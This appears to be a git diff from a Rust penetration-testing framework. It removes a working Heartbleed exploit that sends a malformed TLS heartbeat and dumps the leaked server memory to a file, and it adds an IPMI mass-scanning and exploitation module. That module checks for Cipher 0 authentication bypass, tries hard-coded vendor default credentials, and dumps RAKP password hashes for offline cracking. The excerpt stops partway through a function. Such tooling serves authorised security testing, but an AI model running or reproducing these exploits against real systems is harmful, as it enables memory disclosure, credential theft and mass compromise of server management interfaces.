print!("{}", "Do you want to use a list of IPs? (yes/no): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut use_list = String::new();
|
||||
io::stdin().read_line(&mut use_list)?;
|
||||
std::io::stdin()
|
||||
.read_line(&mut use_list)
|
||||
.context("Failed to read list choice")?;
|
||||
let use_list = use_list.trim().to_lowercase();
|
||||
|
||||
if use_list == "yes" || use_list == "y" {
|
||||
print!("{}", "Enter path to the IP list file: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut path = String::new();
|
||||
io::stdin().read_line(&mut path)?;
|
||||
std::io::stdin()
|
||||
.read_line(&mut path)
|
||||
.context("Failed to read file path")?;
|
||||
let path = path.trim();
|
||||
|
||||
if !Path::new(path).exists() {
|
||||
|
||||
@@ -1,174 +0,0 @@
|
||||
use anyhow::{Context, Result};
|
||||
use std::fs::File;
|
||||
use std::io::Write;
|
||||
use std::net::ToSocketAddrs;
|
||||
use std::path::Path;
|
||||
use std::time::{SystemTime, UNIX_EPOCH};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
/// Entry point for dispatcher – uses default port 443
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_with_port(target, 443).await
|
||||
}
|
||||
|
||||
/// Full Heartbleed scanner with user-defined port (used internally)
|
||||
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
|
||||
// 1) Trim whitespace and strip _all_ bracket layers:
|
||||
let raw = target.trim();
|
||||
let stripped = raw
|
||||
.trim_start_matches('[')
|
||||
.trim_end_matches(']');
|
||||
|
||||
// 2) If it looks like an IPv6 literal (contains ':'), re-bracket exactly once:
|
||||
let host = if stripped.contains(':') {
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
stripped.to_string()
|
||||
};
|
||||
|
||||
// 3) Build the addr string with port:
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
println!("[*] Connecting to {}...", addr);
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address format")?
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
|
||||
let mut stream = match stream_result {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Connection to {} failed: {}", socket_addr, e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Connection to {} timed out", socket_addr);
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
|
||||
println!("[*] Sending Client Hello...");
|
||||
stream.write_all(&build_client_hello()).await?;
|
||||
|
||||
let mut response = vec![0u8; 4096];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
|
||||
match read_result {
|
||||
Ok(Ok(n)) if n > 0 => {}
|
||||
Ok(Ok(_)) => {
|
||||
println!("[-] No response to Client Hello");
|
||||
return Ok(());
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Read error: {}", e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Read timed out (Client Hello response)");
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
println!("[*] Sending Heartbeat...");
|
||||
stream.write_all(&build_heartbeat_request(0x4000)).await?;
|
||||
|
||||
let mut leak = vec![0u8; 65535];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
|
||||
let n = match read_result {
|
||||
Ok(Ok(n)) if n > 0 => n,
|
||||
Ok(Ok(_)) => {
|
||||
println!("[-] No heartbeat response.");
|
||||
return Ok(());
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Read error: {}", e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Read timed out (heartbeat response)");
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
|
||||
println!("[+] Received {} bytes in heartbeat response!", n);
|
||||
let filename = format!("leak_dump_{}.bin", stripped.replace(':', "_"));
|
||||
let path = Path::new(&filename);
|
||||
let mut file = File::create(path)
|
||||
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
|
||||
file.write_all(&leak[..n])
|
||||
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
|
||||
println!("[+] Leak dump saved to: {}", filename);
|
||||
println!("{}", printable_dump(&leak[..n]));
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Builds a TLS ClientHello message
|
||||
fn build_client_hello() -> Vec<u8> {
|
||||
let version: u16 = 0x0302; // TLS 1.1
|
||||
let time_now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as u32;
|
||||
|
||||
let mut random = vec![];
|
||||
random.extend_from_slice(&time_now.to_be_bytes());
|
||||
random.extend_from_slice(&vec![0x42; 28]);
|
||||
|
||||
let cipher_suites: Vec<u16> = vec![
|
||||
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
|
||||
];
|
||||
|
||||
let mut hello = vec![];
|
||||
hello.extend_from_slice(&version.to_be_bytes());
|
||||
hello.extend_from_slice(&random);
|
||||
hello.push(0); // Session ID length
|
||||
hello.extend_from_slice(&(cipher_suites.len() as u16 * 2).to_be_bytes());
|
||||
for cs in &cipher_suites {
|
||||
hello.extend_from_slice(&cs.to_be_bytes());
|
||||
}
|
||||
hello.push(1); // Compression methods length
|
||||
hello.push(0); // No compression
|
||||
|
||||
let mut extensions = vec![];
|
||||
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
|
||||
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
|
||||
extensions.push(0x01); // Extension data
|
||||
|
||||
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
|
||||
hello.extend_from_slice(&extensions);
|
||||
|
||||
let mut handshake = vec![0x01];
|
||||
let len = (hello.len() as u32).to_be_bytes();
|
||||
handshake.extend_from_slice(&len[1..]);
|
||||
handshake.extend_from_slice(&hello);
|
||||
|
||||
build_tls_record(0x16, version, &handshake)
|
||||
}
|
||||
|
||||
/// Builds a malicious Heartbeat request
|
||||
fn build_heartbeat_request(length: u16) -> Vec<u8> {
|
||||
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
|
||||
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
|
||||
build_tls_record(0x18, 0x0302, &payload)
|
||||
}
|
||||
|
||||
/// Wraps payload in a TLS record
|
||||
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
|
||||
let mut record = vec![record_type];
|
||||
record.extend_from_slice(&version.to_be_bytes());
|
||||
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
|
||||
record.extend_from_slice(payload);
|
||||
record
|
||||
}
|
||||
|
||||
/// Converts binary leak to printable ASCII
|
||||
fn printable_dump(data: &[u8]) -> String {
|
||||
data.iter()
|
||||
.map(|b| match *b {
|
||||
32..=126 => *b as char,
|
||||
b'\n' | b'\r' | b'\t' => ' ',
|
||||
_ => '.',
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
pub mod heartbleed;
|
||||
@@ -0,0 +1,798 @@
|
||||
//! IPMI Enumeration and Exploitation Module - FIXED VERSION
|
||||
//!
|
||||
//! Comprehensive IPMI scanner supporting:
|
||||
//! - Mass scanning (Single, Subnet, File list)
|
||||
//! - Version detection (IPMI 1.5/2.0)
|
||||
//! - Cipher 0 authentication bypass detection
|
||||
//! - Anonymous authentication testing
|
||||
//! - Default credential brute force
|
||||
//! - RAKP hash dumping for offline cracking
|
||||
//! - Supermicro-specific vulnerability checks
|
||||
//!
|
||||
//! Default Port: 623/UDP
|
||||
//! FOR AUTHORIZED TESTING ONLY.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use std::net::{IpAddr, SocketAddr};
|
||||
use std::time::Duration;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::net::UdpSocket;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::sync::Mutex;
|
||||
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_default, prompt_port, prompt_yes_no,
|
||||
prompt_required, prompt_existing_file, prompt_int_range,
|
||||
};
|
||||
|
||||
// IPMI Constants
|
||||
const IPMI_PORT: u16 = 623;
|
||||
const RECV_TIMEOUT_MS: u64 = 3000;
|
||||
const MAX_RETRIES: usize = 2;
|
||||
|
||||
// RMCP Header
|
||||
const RMCP_VERSION: u8 = 0x06;
|
||||
const RMCP_RESERVED: u8 = 0x00;
|
||||
const RMCP_SEQ: u8 = 0xFF;
|
||||
const RMCP_CLASS_IPMI: u8 = 0x07;
|
||||
|
||||
// IPMI Commands
|
||||
const IPMI_CMD_GET_CHANNEL_AUTH_CAP: u8 = 0x38;
|
||||
const IPMI_CMD_GET_SESSION_CHALLENGE: u8 = 0x39;
|
||||
|
||||
// Authentication Types
|
||||
const AUTH_TYPE_NONE: u8 = 0x00;
|
||||
const AUTH_TYPE_MD5: u8 = 0x02;
|
||||
const AUTH_TYPE_RMCPP: u8 = 0x06;
|
||||
|
||||
// RAKP Payload Types
|
||||
const PAYLOAD_RMCPP_OPEN_SESSION_REQUEST: u8 = 0x10;
|
||||
const PAYLOAD_RAKP_MESSAGE_1: u8 = 0x12;
|
||||
const PAYLOAD_RAKP_MESSAGE_2: u8 = 0x13;
|
||||
|
||||
// Default credentials
|
||||
const DEFAULT_CREDS: &[(&str, &str, &str)] = &[
|
||||
("Dell iDRAC", "root", "calvin"),
|
||||
("IBM IMM", "USERID", "PASSW0RD"),
|
||||
("Fujitsu iRMC", "admin", "admin"),
|
||||
("Supermicro IPMI", "ADMIN", "ADMIN"),
|
||||
("Oracle/Sun ILOM", "root", "changeme"),
|
||||
("ASUS iKVM BMC", "admin", "admin"),
|
||||
("Generic", "admin", "admin"),
|
||||
("Generic", "root", "root"),
|
||||
("Generic", "Administrator", "password"),
|
||||
];
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
struct IpmiInfo {
|
||||
ip: IpAddr,
|
||||
version: String,
|
||||
auth_types: Vec<String>,
|
||||
cipher_zero_vulnerable: bool,
|
||||
anonymous_access: bool,
|
||||
valid_creds: Option<(String, String, String)>,
|
||||
rakp_hash: Option<String>,
|
||||
supermicro_upnp_open: bool,
|
||||
supermicro_49152_open: bool,
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ IPMI Enumeration & Exploitation Module (FIXED) ║".cyan());
|
||||
println!("{}", "║ Mass Scan, Cipher 0, Default Creds, Version Detection ║".cyan());
|
||||
println!("{}", "║ FOR AUTHORIZED TESTING ONLY ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
println!("Select operation mode:");
|
||||
println!(" 1. Single Target");
|
||||
println!(" 2. Subnet Scan (CIDR)");
|
||||
println!(" 3. Target List (File)");
|
||||
println!();
|
||||
|
||||
let mode = prompt_required("Select mode [1-3]: ")?;
|
||||
|
||||
let targets = match mode.as_str() {
|
||||
"1" => {
|
||||
let t = if target.trim().is_empty() {
|
||||
prompt_required("Target IP: ")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
vec![normalize_target(&t)?]
|
||||
},
|
||||
"2" => {
|
||||
let cidr = if target.trim().is_empty() || !target.contains('/') {
|
||||
prompt_required("Target CIDR (e.g., 192.168.1.0/24): ")?
|
||||
} else {
|
||||
target.to_string()
|
||||
};
|
||||
cidr.parse::<ipnetwork::IpNetwork>()
|
||||
.context("Invalid CIDR format")?
|
||||
.iter()
|
||||
.map(|ip| ip.to_string())
|
||||
.collect()
|
||||
},
|
||||
"3" => {
|
||||
let path = prompt_existing_file("Path to target list file: ")?;
|
||||
let content = tokio::fs::read_to_string(path)
|
||||
.await
|
||||
.context("Failed to read target file")?;
|
||||
content.lines()
|
||||
.map(|s| s.trim().to_string())
|
||||
.filter(|s| !s.is_empty())
|
||||
.collect()
|
||||
},
|
||||
_ => return Err(anyhow!("Invalid selection")),
|
||||
};
|
||||
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No valid targets found"));
|
||||
}
|
||||
|
||||
// Check for extremely large scans
|
||||
if targets.len() > 100000 {
|
||||
println!("{}", format!("[!] Warning: Large scan detected ({} targets).", targets.len()).yellow().bold());
|
||||
if !prompt_yes_no("This may consume significant memory and time. Continue?", false)? {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
println!("[*] Loaded {} targets", targets.len());
|
||||
|
||||
let port = prompt_port("IPMI Port", IPMI_PORT)?;
|
||||
let test_cipher_zero = prompt_yes_no("Test Cipher 0 vulnerability?", true)?;
|
||||
let test_anonymous = prompt_yes_no("Test anonymous authentication?", true)?;
|
||||
let test_default_creds = prompt_yes_no("Test default credentials?", true)?;
|
||||
let test_rakp_hash = prompt_yes_no("Attempt RAKP hash dumping (IPMI 2.0)?", true)?;
|
||||
|
||||
let concurrency = if targets.len() > 1 {
|
||||
prompt_int_range("Max concurrent scans", 50, 1, 10000)? as usize
|
||||
} else {
|
||||
1
|
||||
};
|
||||
|
||||
let output_file = prompt_default("Output result file", "ipmi_scan_results.csv")?;
|
||||
|
||||
println!("\n{}", "=== Starting IPMI Scan ===".bold().cyan());
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
let total_targets = targets.len();
|
||||
|
||||
// Progress monitoring task
|
||||
if total_targets > 1 {
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
let checked = s_checked.load(Ordering::Relaxed);
|
||||
let found = s_found.load(Ordering::Relaxed);
|
||||
if checked >= total_targets { break; }
|
||||
println!(
|
||||
"[*] Progress: {}/{} checked, {} IPMI found",
|
||||
checked, total_targets, found.to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
// Initialize output file with proper CSV headers
|
||||
let output_file_handle = OpenOptions::new()
|
||||
.create(true)
|
||||
.write(true)
|
||||
.truncate(true)
|
||||
.open(&output_file)
|
||||
.await
|
||||
.context("Failed to create output file")?;
|
||||
|
||||
let mut file_handle = output_file_handle;
|
||||
file_handle.write_all(format!("IPMI Scan Results - {}\n", chrono::Local::now()).as_bytes()).await?;
|
||||
file_handle.write_all(b"IP,Port,Version,AuthTypes,Exploits,Cipher0,Anonymous,Credentials,RAKP_Hash,UPnP_1900,Port_49152\n").await?;
|
||||
|
||||
let output_file_arc = Arc::new(Mutex::new(file_handle));
|
||||
|
||||
for target_str in targets {
|
||||
let sem = semaphore.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file_arc.clone();
|
||||
let target_ip_str = target_str.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = sem.acquire().await.unwrap();
|
||||
|
||||
// Resolve IP
|
||||
let ip_res = if let Ok(ip) = target_ip_str.parse::<IpAddr>() {
|
||||
Ok(ip)
|
||||
} else {
|
||||
match tokio::net::lookup_host(format!("{}:{}", target_ip_str, port)).await {
|
||||
Ok(mut iter) => iter.next()
|
||||
.map(|s| s.ip())
|
||||
.ok_or_else(|| anyhow!("No IP resolved")),
|
||||
Err(e) => Err(anyhow!(e)),
|
||||
}
|
||||
};
|
||||
|
||||
if let Ok(ip) = ip_res {
|
||||
let addr = SocketAddr::new(ip, port);
|
||||
|
||||
// Perform Scan
|
||||
match scan_host(addr, test_cipher_zero, test_anonymous, test_default_creds, test_rakp_hash).await {
|
||||
Ok(Some(info)) => {
|
||||
sf.fetch_add(1, Ordering::Relaxed);
|
||||
|
||||
// Display Result
|
||||
let vuln_str = if info.cipher_zero_vulnerable { " [CIPHER0]".red().bold() } else { "".into() };
|
||||
let anon_str = if info.anonymous_access { " [ANON]".red().bold() } else { "".into() };
|
||||
let rakp_str = if info.rakp_hash.is_some() { " [HASH]".magenta().bold() } else { "".into() };
|
||||
let upnp_str = if info.supermicro_upnp_open { " [UPNP]".yellow().bold() } else { "".into() };
|
||||
let port_str = if info.supermicro_49152_open { " [49152]".yellow().bold() } else { "".into() };
|
||||
let cred_str = if let Some((v, u, p)) = &info.valid_creds {
|
||||
format!(" [CRED: {} {}:{}]", v, u, p).green().bold()
|
||||
} else {
|
||||
"".into()
|
||||
};
|
||||
|
||||
println!("[+] {}: {} {}{}{}{}{}{}",
|
||||
info.ip,
|
||||
info.version.green(),
|
||||
vuln_str,
|
||||
anon_str,
|
||||
rakp_str,
|
||||
upnp_str,
|
||||
port_str,
|
||||
cred_str
|
||||
);
|
||||
|
||||
// Save to file (thread-safe)
|
||||
{
|
||||
let mut file_guard = of.lock().await;
|
||||
let auth_types_str = info.auth_types.join("; ");
|
||||
|
||||
let mut exploits = Vec::new();
|
||||
if info.cipher_zero_vulnerable { exploits.push("CIPHER0_BYPASS"); }
|
||||
if info.anonymous_access { exploits.push("ANON_AUTH"); }
|
||||
if info.rakp_hash.is_some() { exploits.push("RAKP_HASH_DUMP"); }
|
||||
if info.supermicro_upnp_open { exploits.push("UPNP_1900"); }
|
||||
if info.supermicro_49152_open { exploits.push("SUPERMICRO_49152"); }
|
||||
if info.valid_creds.is_some() { exploits.push("DEFAULT_CREDS"); }
|
||||
let exploit_str = if exploits.is_empty() {
|
||||
"VERSION_ONLY".to_string()
|
||||
} else {
|
||||
exploits.join(", ")
|
||||
};
|
||||
|
||||
let cipher0_str = if info.cipher_zero_vulnerable { "Yes" } else { "No" };
|
||||
let anon_str = if info.anonymous_access { "Yes" } else { "No" };
|
||||
let creds_str = if let Some((v, u, p)) = &info.valid_creds {
|
||||
format!("Yes - {} ({}:{})", v, u, p)
|
||||
} else {
|
||||
"No".to_string()
|
||||
};
|
||||
let rakp_str = info.rakp_hash.as_ref().unwrap_or(&"No".to_string()).clone();
|
||||
let upnp_str = if info.supermicro_upnp_open { "Yes" } else { "No" };
|
||||
let p49152_str = if info.supermicro_49152_open { "Yes" } else { "No" };
|
||||
|
||||
let line = format!(
|
||||
"{},{},{},{},{},{},{},{},{},{},{}",
|
||||
info.ip,
|
||||
port,
|
||||
info.version,
|
||||
auth_types_str,
|
||||
exploit_str,
|
||||
cipher0_str,
|
||||
anon_str,
|
||||
creds_str,
|
||||
rakp_str,
|
||||
upnp_str,
|
||||
p49152_str
|
||||
);
|
||||
|
||||
let _ = file_guard.write_all(format!("{}\n", line).as_bytes()).await;
|
||||
}
|
||||
},
|
||||
Ok(None) => {
|
||||
// No IPMI service detected
|
||||
},
|
||||
Err(e) => {
|
||||
eprintln!("[!] Error scanning {}: {}", ip, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
}));
|
||||
}
|
||||
|
||||
// Wait for all tasks to complete
|
||||
while tasks.next().await.is_some() {}
|
||||
|
||||
let final_checked = stats_checked.load(Ordering::Relaxed);
|
||||
let final_found = stats_found.load(Ordering::Relaxed);
|
||||
|
||||
println!("\n{}", "=== Scan Complete ===".green().bold());
|
||||
println!("Targets scanned: {}", final_checked);
|
||||
println!("IPMI services found: {}", final_found.to_string().green().bold());
|
||||
println!("Results saved to: {}", output_file.cyan());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn scan_host(
|
||||
addr: SocketAddr,
|
||||
check_c0: bool,
|
||||
check_anon: bool,
|
||||
check_creds: bool,
|
||||
check_rakp: bool,
|
||||
) -> Result<Option<IpmiInfo>> {
|
||||
// Use tokio async UDP socket
|
||||
let socket = UdpSocket::bind("0.0.0.0:0")
|
||||
.await
|
||||
.context("Failed to bind UDP socket")?;
|
||||
|
||||
socket.connect(addr)
|
||||
.await
|
||||
.context("Failed to connect to target")?;
|
||||
|
||||
// 1. Detect Version
|
||||
let (version, auth_types) = match detect_ipmi_version(&socket).await {
|
||||
Ok(res) => res,
|
||||
Err(_) => return Ok(None), // Not IPMI or unreachable
|
||||
};
|
||||
|
||||
let mut info = IpmiInfo {
|
||||
ip: addr.ip(),
|
||||
version,
|
||||
auth_types,
|
||||
cipher_zero_vulnerable: false,
|
||||
anonymous_access: false,
|
||||
valid_creds: None,
|
||||
rakp_hash: None,
|
||||
supermicro_upnp_open: false,
|
||||
supermicro_49152_open: false,
|
||||
};
|
||||
|
||||
// 2. Check Cipher 0
|
||||
if check_c0 && info.version.contains("2.0") {
|
||||
if let Ok(true) = test_cipher_zero_vuln(&socket).await {
|
||||
info.cipher_zero_vulnerable = true;
|
||||
}
|
||||
}
|
||||
|
||||
// 3. Check Anonymous Access
|
||||
if check_anon {
|
||||
if let Ok(true) = test_credentials(&socket, "", "").await {
|
||||
info.anonymous_access = true;
|
||||
}
|
||||
}
|
||||
|
||||
// 4. Test Default Credentials
|
||||
if check_creds {
|
||||
for (vendor, user, pass) in DEFAULT_CREDS {
|
||||
if let Ok(true) = test_credentials(&socket, user, pass).await {
|
||||
info.valid_creds = Some((vendor.to_string(), user.to_string(), pass.to_string()));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 5. RAKP Hash Dump (IPMI 2.0 Only)
|
||||
if check_rakp && info.version.contains("2.0") {
|
||||
let target_users = ["admin", "root", "Administrator", "ADMIN"];
|
||||
for user in target_users {
|
||||
if let Ok(Some(hash)) = get_rakp_hash(&socket, user).await {
|
||||
info.rakp_hash = Some(hash);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 6. Supermicro Checks (UPnP 1900 + Port 49152)
|
||||
if scan_supermicro_upnp(addr.ip(), 1900).await {
|
||||
info.supermicro_upnp_open = true;
|
||||
}
|
||||
if scan_supermicro_upnp(addr.ip(), 49152).await {
|
||||
info.supermicro_49152_open = true;
|
||||
}
|
||||
|
||||
Ok(Some(info))
|
||||
}
|
||||
|
||||
// --- Helper Functions ---
|
||||
|
||||
fn build_rmcp_header() -> Vec<u8> {
|
||||
vec![
|
||||
RMCP_VERSION, // Version
|
||||
RMCP_RESERVED, // Reserved
|
||||
RMCP_SEQ, // Sequence (0xFF for no ack)
|
||||
RMCP_CLASS_IPMI, // Class (IPMI)
|
||||
]
|
||||
}
|
||||
|
||||
fn build_get_auth_cap_request(channel: u8, privilege: u8) -> Vec<u8> {
|
||||
let mut packet = build_rmcp_header();
|
||||
packet.push(AUTH_TYPE_NONE);
|
||||
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session Seq
|
||||
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session ID
|
||||
|
||||
// Message data starts here (after IPMI session header)
|
||||
let msg_start = packet.len();
|
||||
|
||||
packet.push(0x09); // Message length (will be adjusted)
|
||||
packet.push(0x20); // Target (BMC)
|
||||
packet.push((0x06 << 2) | 0x00); // NetFn (0x06 = App) / LUN
|
||||
|
||||
let header_checksum = calculate_checksum(&packet[msg_start + 1..]);
|
||||
packet.push(header_checksum);
|
||||
|
||||
packet.push(0x81); // Source (Requester)
|
||||
packet.push((0x00 << 2) | 0x00); // Seq/LUN
|
||||
packet.push(IPMI_CMD_GET_CHANNEL_AUTH_CAP);
|
||||
packet.push(0x80 | channel); // Extended capabilities
|
||||
packet.push(privilege);
|
||||
|
||||
let data_checksum = calculate_checksum(&packet[msg_start + 4..]);
|
||||
packet.push(data_checksum);
|
||||
|
||||
// Update message length
|
||||
packet[msg_start] = (packet.len() - msg_start - 1) as u8;
|
||||
|
||||
packet
|
||||
}
|
||||
|
||||
fn build_session_challenge_request(auth_type: u8, username: &str) -> Vec<u8> {
|
||||
let mut packet = build_rmcp_header();
|
||||
packet.push(AUTH_TYPE_NONE);
|
||||
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]);
|
||||
packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]);
|
||||
|
||||
let msg_start = packet.len();
|
||||
|
||||
packet.push(0x18); // Message length placeholder
|
||||
packet.push(0x20);
|
||||
packet.push((0x06 << 2) | 0x00); // NetFn / LUN
|
||||
|
||||
let header_checksum = calculate_checksum(&packet[msg_start + 1..msg_start + 3]);
|
||||
packet.push(header_checksum);
|
||||
|
||||
packet.push(0x81);
|
||||
packet.push((0x00 << 2) | 0x00);
|
||||
packet.push(IPMI_CMD_GET_SESSION_CHALLENGE);
|
||||
packet.push(auth_type);
|
||||
|
||||
let mut user_bytes = [0u8; 16];
|
||||
let user_len = username.len().min(16);
|
||||
user_bytes[..user_len].copy_from_slice(&username.as_bytes()[..user_len]);
|
||||
packet.extend_from_slice(&user_bytes);
|
||||
|
||||
let data_checksum = calculate_checksum(&packet[msg_start + 4..]);
|
||||
packet.push(data_checksum);
|
||||
|
||||
// Update message length
|
||||
packet[msg_start] = (packet.len() - msg_start - 1) as u8;
|
||||
|
||||
packet
|
||||
}
|
||||
|
||||
fn calculate_checksum(data: &[u8]) -> u8 {
|
||||
let sum: u8 = data.iter().fold(0u8, |acc, &x| acc.wrapping_add(x));
|
||||
(!sum).wrapping_add(1)
|
||||
}
|
||||
|
||||
async fn detect_ipmi_version(socket: &UdpSocket) -> Result<(String, Vec<String>)> {
|
||||
let request = build_get_auth_cap_request(0x0E, 0x04);
|
||||
|
||||
for attempt in 0..MAX_RETRIES {
|
||||
socket.send(&request)
|
||||
.await
|
||||
.context("Failed to send Get Channel Auth Capabilities request")?;
|
||||
|
||||
let mut buffer = [0u8; 256];
|
||||
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(RECV_TIMEOUT_MS),
|
||||
socket.recv(&mut buffer)
|
||||
).await {
|
||||
Ok(Ok(n)) if n > 20 => {
|
||||
// Validate RMCP header
|
||||
if buffer[0] != RMCP_VERSION || buffer[3] != RMCP_CLASS_IPMI {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Check completion code (byte 20 in standard response)
|
||||
if n < 24 { continue; }
|
||||
let completion_code = buffer[20];
|
||||
if completion_code != 0x00 {
|
||||
return Err(anyhow!("IPMI returned error code: 0x{:02x}", completion_code));
|
||||
}
|
||||
|
||||
let auth_type_support = buffer[22];
|
||||
let extended_cap = if n > 24 { buffer[24] } else { 0 };
|
||||
|
||||
let mut auth_types = Vec::new();
|
||||
if auth_type_support & 0x01 != 0 { auth_types.push("None".to_string()); }
|
||||
if auth_type_support & 0x02 != 0 { auth_types.push("MD2".to_string()); }
|
||||
if auth_type_support & 0x04 != 0 { auth_types.push("MD5".to_string()); }
|
||||
if auth_type_support & 0x10 != 0 { auth_types.push("Password".to_string()); }
|
||||
if auth_type_support & 0x20 != 0 { auth_types.push("OEM".to_string()); }
|
||||
|
||||
let version = if extended_cap & 0x02 != 0 {
|
||||
"IPMI 2.0".to_string()
|
||||
} else {
|
||||
"IPMI 1.5".to_string()
|
||||
};
|
||||
|
||||
return Ok((version, auth_types));
|
||||
}
|
||||
Ok(Ok(_)) => continue,
|
||||
Ok(Err(e)) => {
|
||||
if attempt == MAX_RETRIES - 1 {
|
||||
return Err(anyhow!("Recv error: {}", e));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
Err(_) => {
|
||||
if attempt == MAX_RETRIES - 1 {
|
||||
return Err(anyhow!("Timeout waiting for response"));
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Err(anyhow!("No valid response after {} retries", MAX_RETRIES))
|
||||
}
|
||||
|
||||
async fn test_cipher_zero_vuln(socket: &UdpSocket) -> Result<bool> {
|
||||
// Cipher 0 means authentication can be bypassed with "None" auth type
|
||||
// We already check this in detect_ipmi_version by looking at auth_type_support
|
||||
// This is a simplified check - for IPMI 2.0, cipher suite 0 specifically means
|
||||
// no authentication, no integrity, no confidentiality
|
||||
|
||||
let request = build_get_auth_cap_request(0x0E, 0x04);
|
||||
socket.send(&request).await?;
|
||||
|
||||
let mut buffer = [0u8; 256];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(RECV_TIMEOUT_MS),
|
||||
socket.recv(&mut buffer)
|
||||
).await {
|
||||
Ok(Ok(n)) if n > 22 => {
|
||||
let auth_type_support = buffer[22];
|
||||
// If "None" authentication is supported, it's vulnerable
|
||||
Ok(auth_type_support & 0x01 != 0)
|
||||
}
|
||||
_ => Ok(false),
|
||||
}
|
||||
}
|
||||
|
||||
async fn test_credentials(socket: &UdpSocket, username: &str, _password: &str) -> Result<bool> {
|
||||
let request = build_session_challenge_request(AUTH_TYPE_MD5, username);
|
||||
|
||||
for _ in 0..MAX_RETRIES {
|
||||
socket.send(&request).await?;
|
||||
|
||||
let mut buffer = [0u8; 256];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(RECV_TIMEOUT_MS),
|
||||
socket.recv(&mut buffer)
|
||||
).await {
|
||||
Ok(Ok(n)) if n > 20 => {
|
||||
let completion_code = buffer[20];
|
||||
